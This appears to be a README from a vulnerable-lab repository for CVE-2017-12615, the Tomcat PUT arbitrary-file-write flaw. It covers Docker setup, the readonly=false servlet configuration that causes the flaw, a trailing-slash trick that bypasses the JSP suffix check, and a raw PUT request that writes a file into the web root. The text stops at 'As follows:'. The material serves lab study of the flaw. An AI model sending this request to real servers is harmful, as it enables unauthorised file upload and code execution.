Aaron
63285f61aa
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68 lines
1.9 KiB
Markdown
68 lines
1.9 KiB
Markdown
# Tomcat Arbitrary Write-file Vulnerability through PUT Method (CVE-2017-12615)
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[中文版本(Chinese version)](README.zh-cn.md)
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Tomcat version: 8.5.19
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## Environment Setup
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```
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docker compose build
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docker compose up -d
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```
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After successfully running the commands above, you will see the example page of Tomcat through visiting the site `http://your-ip:8080`.
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## Rationale
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Reference links:
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- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
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- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
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- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
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Tomcat sets up the write permission（readonly=false）, which leads to the result that we can write files into the server.
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```
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<servlet>
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<servlet-name>default</servlet-name>
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<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
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<init-param>
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<param-name>debug</param-name>
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<param-value>0</param-value>
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</init-param>
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<init-param>
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<param-name>listings</param-name>
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<param-value>false</param-value>
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</init-param>
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<init-param>
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<param-name>readonly</param-name>
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<param-value>false</param-value>
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</init-param>
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<load-on-startup>1</load-on-startup>
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</servlet>
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```
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Although Tomcat checks the file suffix to some extent(can't write jsp directly), we can still bypass the limitation through some file system features(such as using `/` in Linux).
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## POC
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Send the following packets directly and then the shell will be written into the Web root directory.
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```
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PUT /1.jsp/ HTTP/1.1
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Host: your-ip:8080
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 5
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shell
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```
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As follows:
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